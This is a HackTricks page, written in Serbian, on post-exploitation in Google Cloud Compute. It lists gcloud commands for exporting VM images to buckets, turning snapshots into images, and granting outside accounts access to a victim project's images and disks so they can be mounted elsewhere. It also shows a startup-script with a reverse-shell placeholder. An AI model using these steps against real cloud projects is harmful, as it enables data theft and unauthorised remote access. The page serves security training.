GCP - Compute Post Exploitation

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Compute

Za više informacija o Compute i VPC (Mreženje) proverite:

GCP - Compute Enum

Izvoz i inspekcija slika lokalno

Ovo bi omogućilo napadaču da pristupi podacima sadržanim unutar već postojećih slika ili kreira nove slike pokrenutih VM-ova i pristupi njihovim podacima bez pristupa pokrenutom VM-u.

Moguće je izvesti sliku VM-a u bucket i zatim je preuzeti i montirati lokalno sa komandom:

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Za izvođenje ove radnje, napadač može zatrebati privilegije nad skladišnim kanti i sigurno privilegije nad cloudbuild jer je to usluga koja će biti zatražena da izvrši izvoz.
Pored toga, da bi ovo funkcionisalo, codebuild SA i compute SA trebaju privilegovane dozvole.
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com treba:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

A SA <project-id>-compute@developer.gserviceaccount.com treba:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

Izvoz i inspekcija snimaka i diskova lokalno

Nije moguće direktno izvesti snimke i diskove, ali je moguće transformisati snimak u disk, disk u sliku i prateći prethodni odeljak, izvesti tu sliku da bi se inspektovala lokalno.

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspekcija slike kreiranjem VM-a

Sa ciljem pristupa podacima pohranjenim u slici ili unutar aktivnog VM-a iz kojeg je napadač napravio sliku, moguće je omogućiti spoljnem nalogu pristup slici:

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

i zatim kreirati novu VM iz nje:

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Ako niste mogli dati pristup svom spoljašnjem nalogu preko slike, mogli biste pokrenuti VM koristeći tu sliku u projektu žrtve i naterati metapodatke da izvrše reverznu ljusku za pristup slici dodajući parametar:

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspekcija snimka/Diska povezivanjem na VM

Sa ciljem pristupa podacima pohranjenim na disku ili snimku, možete transformisati snimak u disk, disk u sliku i pratiti prethodne korake.

Ili možete dodeliti spoljašnjem nalogu pristup disku (ako je početna tačka snimak, dodelite pristup snimku ili kreirajte disk iz njega):

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Priključite disk na instancu:

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montirajte disk unutar VM-a:

  1. SSH u VM:
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identifikujte Disk: Kada ste unutar VM-a, identifikujte novi disk tako što ćete nabrojati disk uređaje. Obično ga možete pronaći kao /dev/sdb, /dev/sdc, itd.
  2. Formatirajte i Montirajte Disk (ako je to novi ili sirovi disk):
  • Kreirajte tačku montiranja:
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montirajte disk:
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Ako ne možete dati pristup spoljnim projektima za snimak ili disk, možda ćete morati da izvršite ove radnje unutar instance u istom projektu kao snimak/disk.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks